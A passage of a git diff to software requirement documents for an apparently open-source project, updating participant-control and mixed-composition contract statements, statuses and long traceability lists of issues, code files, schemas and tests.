## Statement -Backend manifests shall declare unsupported, constrained, or partially supported participant features without ambiguity, distinct from general realization-support and disclosure declarations that apply across concern domains. +Backend manifests shall declare unsupported, constrained, or partially supported participant features without ambiguity, distinct from general realization-support and disclosure declarations that apply across concern domains. For admitted mixed participant control, effective provider-local support and installed mapping, bridge, time-coordination, and readback services shall be checked in context; declaration or method presence alone does not establish executable support. Authorized weaker support shall retain its constraint, loss, disclosure, and evidence limits. ## Rationale @@ -21,6 +21,19 @@ Requirement inventory expansion. Participant-feature boundaries need to be expli ## Traceability +- TESTS → TEST `implementations/python/tests/test_act_614_temporal_admission.py` (Optional capabilities, exact temporal offers and conditional conformance) + +- IMPLEMENTS → GITHUB_ISSUE `1072` (Modular provider declaration and effective support bindings) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_backend_protocols/participant_control_admission.py` (Exact manifest adapter to incumbent feature support admission) +- TESTS → TEST `implementations/python/tests/test_api_424_capability_admission.py` (Dishonest and unimplemented modular support rejection) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1072-api-407-feature-support-preflight.md` (Declaration, installation and effective-support guardrails) + +- IMPLEMENTS → GITHUB_ISSUE `OpenRAE/rae#1014` (Resolve mixed-composition feature strength per provider) +- IMPLEMENTS → SPEC `contracts/schemas/plans/mixed-participant-composition-profile-v1.json` (Closed per-allocation feature requirement and downgrade authority carrier) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/mixed_composition.py` (Per-allocation feature-strength and downgrade carriers) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/mixed_composition_validation.py` (Closed provider membership for feature-bearing allocations) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/mixed_composition_resolution.py` (Dependency-inverted per-provider support and downgrade authorization joins) +- TESTS → TEST `implementations/python/tests/test_issue_1014_mixed_composition_contracts.py` (Exact, unsupported, and authorized-downgrade resolution tests) - TESTS → TEST `implementations/python/tests/test_issue_965_participant_opacity_backend.py` (Backend participant-opacity assurance tests) - IMPLEMENTS → GITHUB_ISSUE `965` (Declare and validate backend participant-opacity realization) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_backend_protocols/participant_capabilities.py` (Participant feature-support declaration validation) @@ -51,3 +64,18 @@ Requirement inventory expansion. Participant-feature boundaries need to be expli - IMPLEMENTS → GITHUB_ISSUE `801` (Declare participant I/O policy capability and realization support (API-407)) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_backend_protocols/participant_feature_admission.py` (API-407 participant feature support admission) - IMPLEMENTS → GITHUB_ISSUE `OpenRAE/rae#965` (Declare and validate backend participant-opacity realization) +- IMPLEMENTS → GITHUB_ISSUE `OpenRAE/rae#1015` (Enforce provider-local feature support during mixed trial admission) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/mixed_composition_resolution.py` (Exact per-provider feature and downgrade resolution at trial admission) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/trial_compiler/apparatus.py` (Per-component manifest, realization-envelope, allowlist, and capability joins) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/trial_compiler/compiler.py` (Fail-closed composition admission through provider-local contexts) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_processor/trial_compiler/realization_admission.py` (Provider-local contextual and apparatus admission orchestration) +- TESTS → TEST `implementations/python/tests/test_issue_1015_mixed_staged_trial_admission.py` (Feature, envelope, mapping, context, and apparatus drift rejection coverage) +- IMPLEMENTS → GITHUB_ISSUE `1355` (Provider-local executable mixed-edge and timing support) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/mixed_runtime.py` (Installed bridge and time-binding admission against the exact profile and context) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/mixed_runtime_edge.py` (Executable mapping, bridge, time, and readback support boundary) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/mixed_runtime_edge_execution.py` (Effective mapped bridge, time grant, and readback enforcement) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/mixed_runtime_dispatch.py` (Contextual refusal and distinct supported stage evidence) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/mixed_runtime_handoff.py` (Installed staged transfer and time-service support) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/mixed_runtime_handoff_execution.py` (Effective native transfer and time-service readback enforcement) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/mixed_runtime_result.py` (Evidence-bounded outcome settlement) +- TESTS → TEST `implementations/python/tests/test_issue_1355_mixed_mapping_time.py` (Missing support, stale time, mapped execution, and evidenced stage witnesses) diff --git a/docs/requirements/API-408/requirement.md b/docs/requirements/API-408/requirement.md index 07ba5f5e3..7263a2358 100644 --- a/docs/requirements/API-408/requirement.md +++ b/docs/requirements/API-408/requirement.md @@ -6,7 +6,7 @@ type: INTERFACE priority: SHOULD wave: 2 created_at: 2026-04-03T06:16:04.481738Z -updated_at: 2026-06-21T06:15:21.734239Z +updated_at: 2026-09-21T00:00:00Z --- # API-408 — Participant Observation And Retrieval Contracts @@ -29,3 +29,4 @@ Requirement inventory expansion. Participant execution must be observable throug - TESTS → TEST `implementations/python/tests/test_participant_backend_contracts.py` (Participant retrieval-view fixture and schema tests) - TESTS → TEST `implementations/python/tests/test_runtime_control_plane.py` (Runtime participant retrieval projection tests) - TESTS → TEST `implementations/python/tests/test_runtime_control_plane_api.py` (HTTP participant retrieval route tests) +- TESTS → TEST `implementations/python/tests/test_act_614_temporal_durability.py` (Temporal assessments through history retrieval and durable readback) diff --git a/docs/requirements/API-409/requirement.md b/docs/requirements/API-409/requirement.md index 230d5cf22..22b66cf7e 100644 --- a/docs/requirements/API-409/requirement.md +++ b/docs/requirements/API-409/requirement.md @@ -6,7 +6,7 @@ type: INTERFACE priority: SHOULD wave: 3 created_at: 2026-04-03T06:16:04.587331Z -updated_at: 2026-07-25T16:22:35.566014Z +updated_at: 2026-09-22T01:33:58.710054Z --- # API-409 — Participant External Input And Intervention Contracts @@ -15,12 +15,50 @@ updated_at: 2026-07-25T16:22:35.566014Z The ecosystem shall define portable plain-data contracts for external action proposals, approvals or denials, directions, interventions, handoffs, overrides, and cancellations where mixed-control participant modes are supported, preserving controller and authority identity, order, policy revision, provenance, evidence, and explicit disposition. +Occurrence contracts shall bind a pinned reusable permission to exact +participant/episode, source-controller authority, state and target revisions, +admitted order, evaluated validity and occurrence-specific evidence. Proposal +identities shall not be policy-edge identities. Targets shall be available and +eligible at the evaluated cut: direction permits declared proposal/action/control +targets and intervention permits action/control/attempt targets. Rejected +attempts shall distinguish attempted coordinates from observed state and shall +neither assert valid application nor authorize state advancement. Historical +reference, authorizing eligibility and accepted-state advancement shall remain +separate, including conflicting decisions and immutable replay meaning. + ## Rationale Issue #794 found that mixed-control input needs more than an undifferentiated external-input envelope: approval, direction, intervention, handoff, override, cancellation, admission, and execution are separate facts. +Issue #1351 separates reusable declarations from exact occurrence context and +reconciles target sets, rejected attempts and historical-reader semantics. + +## Semantic amendment and evidence boundary + +[ADR-110](../../decisions/adrs/adr-110-reusable-mixed-control-policies-and-occurrences.md) +and [MC-01–MC-09](../../../specs/formal/participant-semantics/reusable-mixed-control.md) +define the #1351 amendment. ACTIVE records the accepted contract, not proof +that every amended clause is implemented. Existing code/schema links evidence +the legacy fixed-coordinate form; the new bounded tests evidence a design +projection. Executable adoption and historical readers must meet the +[migration contract](../../migration/reusable-mixed-control.md). + ## Traceability +- IMPLEMENTS → SPEC `specs/formal/participant-semantics/reusable-mixed-control.md` (Exact occurrence/target/rejection semantic amendment; not runtime conformance) +- IMPLEMENTS → GITHUB_ISSUE `1351` (Semantic decision and canonical requirement amendment) +- DOCUMENTS → DOCUMENTATION `docs/decisions/adrs/adr-110-reusable-mixed-control-policies-and-occurrences.md` (Accepted-on-merge policy/occurrence decision) +- DOCUMENTS → DOCUMENTATION `docs/migration/reusable-mixed-control.md` (Producer/reader and historical-meaning rules) +- DOCUMENTS → DOCUMENTATION `docs/research/reusable-mixed-control/cases.md` (Worked cycles and bounded evidence claims) +- TESTS → TEST `implementations/python/tests/test_issue_1351_mixed_control_design.py` (Bounded abstract-model falsification; not production realization) + +- IMPLEMENTS → GITHUB_ISSUE `1072` (Typed modular requests referencing incumbent control authorities) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control.py` (Owning external control occurrence alternatives) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control_validation.py` (Owning control occurrence contextual validation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control_effects.py` (Closed control, review, delay and lifecycle request bindings) +- TESTS → TEST `implementations/python/tests/test_api_424_control_effects.py` (Typed effects and conflict preservation) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1072-api-409-control-effect-bindings-preflight.md` (Reuse of incumbent control/effect authority) + - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_flow_control_incumbent_validation.py` (API-409 flow-control incumbent carrier joins) - TESTS → TEST `implementations/python/tests/test_sem_233_flow_control_contracts.py` (API-409 flow-control incumbent join tests) - IMPLEMENTS → GITHUB_ISSUE `1002` (Issue #1002 portable flow-control contracts) diff --git a/docs/requirements/API-423/requirement.md b/docs/requirements/API-423/requirement.md index 363694855..c7f242d84 100644 --- a/docs/requirements/API-423/requirement.md +++ b/docs/requirements/API-423/requirement.md @@ -21,6 +21,31 @@ API-406 and API-409 provide adjacent carriers, but no common contract records th ## Traceability +- IMPLEMENTS → GITHUB_ISSUE `OpenRAE/rae#971` (Independent single-operation formal model construction) + +- DOCUMENTS → DOCUMENTATION `docs/research/participant-bisimulation/model-construction.md` (Construction boundary and source derivation) + +- TESTS → TEST `implementations/python/tests/test_issue_971_crossing_models.py` (Complete single-operation transition, retry and atomicity construction tests) + +- IMPLEMENTS → CODE_FILE `implementations/formal/participant_crossing/concrete.py` (Issue #971 single-operation formal model construction only; no equivalence or runtime-realization result) + +- IMPLEMENTS → GITHUB_ISSUE `OpenRAE/rae#1016` (Bind mixed-runtime dispatch to exact participant crossing facts) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_runtime/participant_result_contracts.py` (Append-only composition evidence validation across backend results) +- TESTS → TEST `implementations/python/tests/test_issue_1016_mixed_runtime_coordination.py` (Crossing, policy, delivery, observation, weakening, and failure evidence witnesses) +- IMPLEMENTS → GITHUB_ISSUE `1072` (Modular crossing, inject and evidence bindings) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control_resolution.py` (Exact incumbent crossing and inject-delivery joins) +- TESTS → TEST `implementations/python/tests/test_api_424_control_resolution.py` (Trusted crossing and delivery context rejection) +- TESTS → TEST `implementations/python/tests/test_api_424_security_profile.py` (SEM-233 sink and API-423 carrier compatibility) + +- IMPLEMENTS → GITHUB_ISSUE `OpenRAE/rae#1014` (Bind composition edges to participant crossing policy and evidence authority) +- IMPLEMENTS → SPEC `contracts/schemas/plans/mixed-participant-composition-profile-v1.json` (Typed crossing subject, policy, loss, and evidence bindings) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/mixed_composition.py` (Typed composition-edge crossing contract carriers) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/mixed_composition_validation.py` (Closed active-edge endpoint and phase-membership validation) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/mixed_composition_resolution.py` (Exact crossing scope, audience, policy, loss, and evidence joins) +- TESTS → TEST `implementations/python/tests/test_issue_1014_mixed_composition_contracts.py` (Crossing policy, evidence, mapping, and stale-reference rejection tests) +- DOCUMENTS → GITHUB_ISSUE `OpenRAE/rae#1013` (Compose the existing API-423 authority in SEM-234 without changing its runtime contract) +- DOCUMENTS → SPEC `specs/formal/participant-semantics/cross-backend-participant-control.md` (Revisioned mixed-composition compatibility boundary) +- TESTS → TEST `implementations/python/tests/test_sem_234_mixed_composition.py` (Bounded composition with incumbent API-423 authority) - IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_flow_control_validation.py` (API-423 final-sink flow-control validation) - TESTS → TEST `implementations/python/tests/test_sem_233_flow_control_contracts.py` (API-423 final-sink flow-control tests) - IMPLEMENTS → GITHUB_ISSUE `1002` (Issue #1002 portable flow-control contracts) diff --git a/docs/requirements/API-424/requirement.md b/docs/requirements/API-424/requirement.md index 8db5c01f9..87b591a54 100644 --- a/docs/requirements/API-424/requirement.md +++ b/docs/requirements/API-424/requirement.md @@ -1,12 +1,12 @@ --- id: API-424 title: "Participant-Control Provider, Composition and Effect Contracts" -status: DRAFT +status: ACTIVE type: INTERFACE priority: MUST wave: 4 created_at: 2026-09-06T00:00:00Z -updated_at: 2026-09-06T00:00:00Z +updated_at: 2026-09-22T00:00:00Z --- # API-424 — Participant-Control Provider, Composition and Effect Contracts @@ -26,6 +26,19 @@ selection, open label/effect/metadata maps and backend-private state shall not be portable request authority. Backend declarations and effective support shall remain distinct from installed providers and realized effects. +Revised contracts shall bind the complete admitted apparatus separately from +exact-cut obligation coverage and applicable invocations; represent proven +inapplicability and unresolved coverage explicitly; and carry typed immutable +predecessor results into identified slot/stage invocations. Results shall bind +those inputs and scoped state versions. Contracts shall distinguish false +triggers from missing mandatory results, required input closure from advisory +decision authority, and required support constraints from declared strength. +Parent decisions, effect targets, execution prerequisites and independent +consequences shall be separate, with deny/withhold invariant across phases. +Version/protocol negotiation and historical readers shall preserve original +decisions, claims, identities and consumed budgets under CA-01–CA-09 and the +migration contract below. + ## Rationale API-409/423 own incumbent operations and API-407/420 own capability/manifests. @@ -35,14 +48,127 @@ SEM-233 resolver hook. This is a protocol boundary, not a plugin host. ## Fulfillment boundary -DRAFT through #1068. #1072 follows #1070 and must publish schemas, publication -ledger records, protocol compatibility, valid/invalid fixtures and contextual -validators. No current schema or importable provider protocol is changed by -this requirement record. +#1072 publishes the closed selection, evaluation and teaching-profile schemas, +publication records, structural provider protocol, valid/invalid and contextual +fixtures, and trusted-context validators against #1070's sem-235/rev1. +ACTIVE records that revision-1 publication. +Contract validity does not install a provider or execute an effect. + +## Contract amendment and evidence boundary + +[ADR-111](../../decisions/adrs/adr-111-control-applicability-and-effect-decisions.md) +and [CA-01–CA-09](../../../specs/formal/participant-semantics/control-applicability-and-evaluation.md) +define the #1352 contract amendment. ACTIVE records the accepted contract, +not proof that the new clauses are implemented in the published v1 schemas or +provider/v1. Existing code, schema and test links retain their original scope; +the new model is bounded design evidence. The +[migration contract](../../migration/control-applicability-and-evaluation.md) +requires explicit coordinated producer/protocol/reader adoption and preserves +legacy history without inventing new coverage or realization evidence. ## Traceability +- IMPLEMENTS → GITHUB_ISSUE `1365` (Publish applicable-provider and dependency-evaluation contracts) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control_applicability.py` (Complete admitted apparatus, profile obligations and exact-cut subset) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control_invocation.py` (Typed predecessor and scoped-state inputs with result binding) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control_support_v2.py` (Requirement-relative support assessment) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control_decisions_v2.py` (Unscheduled parent decisions and typed effect prerequisites) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control_composition_v2.py` (Mandatory composition and effect admission) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control_evaluation_v2.py` (Scoped state and atomic commit boundary) +- IMPLEMENTS → SPEC `contracts/schemas/participant-runtime/participant-control-selection-v2.json` (Published v2 apparatus selection) +- IMPLEMENTS → SPEC `contracts/schemas/participant-runtime/participant-control-evaluation-v2.json` (Published v2 exact-cut evaluation) +- IMPLEMENTS → CONFIG `contracts/schema-publication/entries/participant-control-selection-v2.json` (Selection publication ledger) +- IMPLEMENTS → CONFIG `contracts/schema-publication/entries/participant-control-evaluation-v2.json` (Evaluation publication ledger) +- TESTS → TEST `implementations/python/tests/test_issue_1365_applicable_contracts.py` (Disjoint sinks, dependency chain, optional failure, support, effects, commit and publication) +- IMPLEMENTS → GITHUB_ISSUE `1352` (Provider-input, applicability and effect contract decision) +- IMPLEMENTS → SPEC `specs/formal/participant-semantics/control-applicability-and-evaluation.md` (Required revised contract meaning; not new schema publication) +- IMPLEMENTS → DOCUMENTATION `docs/migration/control-applicability-and-evaluation.md` (Producer/reader and retained-history contract) +- DOCUMENTS → DOCUMENTATION `docs/decisions/adrs/adr-111-control-applicability-and-effect-decisions.md` (Accepted-on-merge decision) +- DOCUMENTS → DOCUMENTATION `docs/research/control-applicability/cases.md` (Worked cases and evidence limits) +- TESTS → TEST `implementations/python/tests/test_issue_1352_governance.py` (Real ownership and scope consumer) +- DOCUMENTS → DOCUMENTATION `docs/research/formal-semantic-validation/analysis-v37.json` (Public-facade preservation and retained evidence after validator refactoring) +- DOCUMENTS → DOCUMENTATION `docs/research/formal-semantic-validation/bundles/retest-v37.json` (Public-facade preservation and retained evidence after validator refactoring) +- DOCUMENTS → DOCUMENTATION `docs/research/formal-semantic-validation/execution-snapshot-v37.json` (Public-facade preservation and retained evidence after validator refactoring) +- DOCUMENTS → DOCUMENTATION `docs/research/specification-coverage/analysis-v37.json` (Public-facade preservation and retained evidence after validator refactoring) +- DOCUMENTS → DOCUMENTATION `docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1072-v37.json` (Public-facade preservation and retained evidence after validator refactoring) +- DOCUMENTS → DOCUMENTATION `docs/research/specification-coverage/execution-snapshot-v37.json` (Public-facade preservation and retained evidence after validator refactoring) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/_candidate_synthesis_facade.py` (Public-facade preservation and retained evidence after validator refactoring) +- TESTS → TEST `implementations/python/tests/test_issue_989_versioned_evidence.py` (Current contract-source capture retains rejection of stale artifact digests) +- DOCUMENTS → DOCUMENTATION `docs/research/formal-semantic-validation/index.md` (Retained evidence replay bound to participant-control contract source; no runtime claims) +- DOCUMENTS → DOCUMENTATION `docs/research/specification-coverage/index.md` (Retained evidence replay bound to participant-control contract source; no runtime claims) +- TESTS → TEST `implementations/python/tests/test_formal_semantic_validation.py` (Retained evidence replay bound to participant-control contract source; no runtime claims) +- TESTS → TEST `implementations/python/tests/test_specification_coverage.py` (Retained evidence replay bound to participant-control contract source; no runtime claims) +- IMPLEMENTS → CODE_FILE `tools/check_specification_coverage.py` (Retained evidence replay bound to participant-control contract source; no runtime claims) +- IMPLEMENTS → CODE_FILE `tools/formal_semantic_validation/_baseline.py` (Retained evidence replay bound to participant-control contract source; no runtime claims) +- IMPLEMENTS → CODE_FILE `tools/formal_semantic_validation/_loading.py` (Retained evidence replay bound to participant-control contract source; no runtime claims) +- IMPLEMENTS → CODE_FILE `tools/formal_semantic_validation/_releases.py` (Retained evidence replay bound to participant-control contract source; no runtime claims) +- IMPLEMENTS → CODE_FILE `tools/formal_semantic_validation/_retest.py` (Retained evidence replay bound to participant-control contract source; no runtime claims) +- DOCUMENTS → DOCUMENTATION `docs/research/formal-semantic-validation/analysis-v36.json` (Retained evidence replay bound to participant-control contract source; no runtime claims) +- DOCUMENTS → DOCUMENTATION `docs/research/formal-semantic-validation/bundles/retest-v36.json` (Retained evidence replay bound to participant-control contract source; no runtime claims) +- DOCUMENTS → DOCUMENTATION `docs/research/formal-semantic-validation/execution-snapshot-v36.json` (Retained evidence replay bound to participant-control contract source; no runtime claims) +- DOCUMENTS → DOCUMENTATION `docs/research/specification-coverage/analysis-v36.json` (Retained evidence replay bound to participant-control contract source; no runtime claims) +- DOCUMENTS → DOCUMENTATION `docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1072-v36.json` (Retained evidence replay bound to participant-control contract source; no runtime claims) +- DOCUMENTS → DOCUMENTATION `docs/research/specification-coverage/execution-snapshot-v36.json` (Retained evidence replay bound to participant-control contract source; no runtime claims) + +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control_effect_composition.py` (Order-independent compatibility and prior logical-claim accounting) +- TESTS → TEST `implementations/python/tests/test_api_424_review_regressions.py` (Lifecycle ordering, exhausted-budget replay and duplicate-identity permutations) + +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/participant_flow_policy_profiles.py` (Bounded file reads for the consumed incumbent profile) + +- IMPLEMENTS → CONFIG `contracts/schema-publication/entries/backend-manifest-v2.json` +- IMPLEMENTS → CONFIG `contracts/schema-publication/entries/backend-profile-v1.json` +- IMPLEMENTS → CONFIG `contracts/schema-publication/entries/participant-control-evaluation-v1.json` +- IMPLEMENTS → CONFIG `contracts/schema-publication/entries/participant-control-selection-v1.json` +- IMPLEMENTS → CONFIG `contracts/schema-publication/entries/participant-control-teaching-profile-v1.json` +- IMPLEMENTS → SPEC `contracts/schemas/backend-manifest/backend-manifest-v2.json` +- IMPLEMENTS → SPEC `contracts/schemas/participant-runtime/participant-control-evaluation-v1.json` +- IMPLEMENTS → SPEC `contracts/schemas/participant-runtime/participant-control-selection-v1.json` +- IMPLEMENTS → SPEC `contracts/schemas/participant-runtime/participant-control-teaching-profile-v1.json` +- IMPLEMENTS → SPEC `contracts/schemas/profiles/backend-profile-v1.json` +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1072-api-407-feature-support-preflight.md` +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1072-api-409-control-effect-bindings-preflight.md` +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1072-api-424-provider-contracts-preflight.md` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes/observability_plane_semantics.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_backend_protocols/participant_control_admission.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_backend_protocols/protocols.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_conformance/conformance/validators.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/__init__.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/_exports.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/_participant_control_exports.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/bundle_runtime.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control_composition.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control_coordinates.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control_effects.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control_profiles.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control_resolution.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control_results.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control_selection.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/json_ingress.py` +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/manifest_authority.py` +- TESTS → TEST `implementations/python/tests/participant_control_contract_fixtures.py` +- TESTS → TEST `implementations/python/tests/test_api_424_capability_admission.py` +- TESTS → TEST `implementations/python/tests/test_api_424_composition_boundaries.py` +- TESTS → TEST `implementations/python/tests/test_api_424_control_effects.py` +- TESTS → TEST `implementations/python/tests/test_api_424_control_resolution.py` +- TESTS → TEST `implementations/python/tests/test_api_424_governance.py` +- TESTS → TEST `implementations/python/tests/test_api_424_participant_control_contracts.py` +- TESTS → TEST `implementations/python/tests/test_api_424_publication.py` +- TESTS → TEST `implementations/python/tests/test_api_424_security_profile.py` +- TESTS → TEST `implementations/python/tests/test_corpus_packaging.py` +- TESTS → TEST `implementations/python/tests/test_json_ingress.py` +- IMPLEMENTS → CODE_FILE `tools/generate_contract_schemas.py` +- IMPLEMENTS → CONFIG `tools/policy/requirement_order.yaml` +- IMPLEMENTS → CONFIG `docs/governance/requirement-scopes/1072.json` +- IMPLEMENTS → CONFIG `contracts/concept-authority/controlled-vocabularies-v1.json` +- IMPLEMENTS → DOCUMENTATION `docs/explain/reference/modular-participant-control-contracts.md` +- DOCUMENTS → DOCUMENTATION `docs/public/participant-control.md` - DOCUMENTS → GITHUB_ISSUE `https://github.com/OpenRAE/rae/issues/1068` (Architecture) - DOCUMENTS → GITHUB_ISSUE `https://github.com/OpenRAE/rae/issues/1072` (Contract publication) - DOCUMENTS → ADR `docs/decisions/adrs/adr-108-modular-participant-control-and-governed-effects.md` (ADR-108) - DOCUMENTS → DOCUMENTATION `docs/research/modular-participant-control/composition.md` (PC-01 through PC-03 and PC-07 through PC-15) +- IMPLEMENTS → GITHUB_ISSUE `1069` (Public composition derivation consumed by the RUN-320 runtime) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control_composition.py` (Public derivation of the canonical composition record) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control_effect_composition.py` (Effect blockers shared by derivation and validation) +- TESTS → TEST `implementations/python/tests/test_api_424_composition_derivation.py` (Derived compositions always satisfy the published validator) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/participant_control_coordinates.py` (Exact-cut subject coordinate expresses a digest-only crossing subject) +- IMPLEMENTS → CONFIG `contracts/schemas/participant-runtime/participant-control-evaluation-v1.json` (Published evaluation schema for the exact-cut coordinates) diff --git a/docs/requirements/ASR-501/requirement.md b/docs/requirements/ASR-501/requirement.md index a852a725c..2c13c2839 100644 --- a/docs/requirements/ASR-501/requirement.md +++ b/docs/requirements/ASR-501/requirement.md @@ -40,3 +40,14 @@ Current state: partially implemented. Checked-in normative schemas exist under c - CONSTRAINS → SPEC `contracts/schemas/sdl/instantiated-scenario-v1.json` (Instantiated SDL schema with normalized runtime inventory, filesystem, mount, container, and health fields) - DOCUMENTS → GITHUB_ISSUE `363` (Issue #363 requires normative SDL schema coverage for runtime filesystem inventory fields) - DOCUMENTS → GITHUB_ISSUE `368` (Issue #368 requires normative SDL schema coverage for container host/security/mount fields) +- IMPLEMENTS → CODE_FILE `tools/check_schema_coverage.py` (Published-schema coverage gate: corpus, formal, or declared evidence per contract) +- IMPLEMENTS → CODE_FILE `tools/check_json_artifacts.py` (Canonical corpus routing and the covered_schema_paths join the coverage gate consumes) +- IMPLEMENTS → CONFIG `tools/nox_support/policy_lanes.py` (Full-inventory published schema coverage policy stage) +- IMPLEMENTS → DOCUMENTATION `docs/explain/reference/published-schema-coverage.md` (The published-schema coverage rule, repair order, and coverage association shape) +- IMPLEMENTS → CONFIG `contracts/schema-publication/entries/raes-semantic-invariants-v1.json` (Declared alternate coverage for the embedded-annotation profile) +- IMPLEMENTS → CODE_FILE `tools/schema_coverage/_keys.py` (Closed key sets, bounds, and rule ids for published-schema coverage) +- IMPLEMENTS → CODE_FILE `tools/schema_coverage/_evidence.py` (Validated corpus, formal, and embedded evidence checks) +- IMPLEMENTS → CODE_FILE `tools/schema_coverage/_declaration.py` (Coverage association shape and evidence qualification) +- IMPLEMENTS → CODE_FILE `tools/schema_coverage/_classify.py` (Published inventory to covering-leg join) +- TESTS → TEST `implementations/python/tests/test_issue_1330_schema_coverage.py` (Published-schema coverage gate and backfilled contract corpora tests) +- IMPLEMENTS → GITHUB_ISSUE `1330` (Issue #1330 detect missing fixture or formal coverage for published schemas) diff --git a/docs/requirements/ASR-516/requirement.md b/docs/requirements/ASR-516/requirement.md index f1e9c84c6..65215fcf4 100644 --- a/docs/requirements/ASR-516/requirement.md +++ b/docs/requirements/ASR-516/requirement.md @@ -1,12 +1,12 @@ --- id: ASR-516 title: "RAES Authoring Adapter Semantic Consistency" -status: DRAFT +status: ACTIVE type: FUNCTIONAL priority: SHOULD wave: 3 created_at: 2026-04-03T07:17:05.483661Z -updated_at: 2026-07-30T18:38:11.148501Z +updated_at: 2026-09-16T02:12:52Z --- # ASR-516 — RAES Authoring Adapter Semantic Consistency @@ -21,6 +21,21 @@ Retains the RAES conformance responsibility while HUB-6 owns cross-product task ## Traceability -- DOCUMENTS → GITHUB_ISSUE `516` (Issue 516 inventory target secret boundary) -- TESTS → TEST `implementations/python/tests/test_agent_inventory_skill.py` (Agent inventory skill and template regression tests) - DOCUMENTS → GITHUB_ISSUE `1005` (ASR-516 — RAES Authoring Adapter Semantic Consistency) +- DOCUMENTS → DOCUMENTATION `docs/decisions/issue-1005-asr-516-authoring-adapter-semantic-consistency-preflight.md` (ASR-516 authoring adapter semantic consistency architecture preflight) +- IMPLEMENTS → DOCUMENTATION `specs/conformance/authoring-adapters.md` (Bounded authoring observation and independent comparison-axis contract) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/authoring_adapters.py` (Closed vector, profile and comparison contracts) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_contracts/contracts/bundle.py` (Published authoring contract registration) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_conformance/authoring_adapters.py` (Profile-bound corpus loading and authoring-path comparison) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_conformance/_authoring_observations.py` (Production output admission and incumbent evidence projection) +- IMPLEMENTS → CODE_FILE `implementations/python/packages/raes_conformance/conformance/validators.py` (Authoring conformance model registration) +- IMPLEMENTS → CONFIG `tools/policy/requirement_order.yaml` (Bounded conformance delivery ownership with retained prerequisites) +- 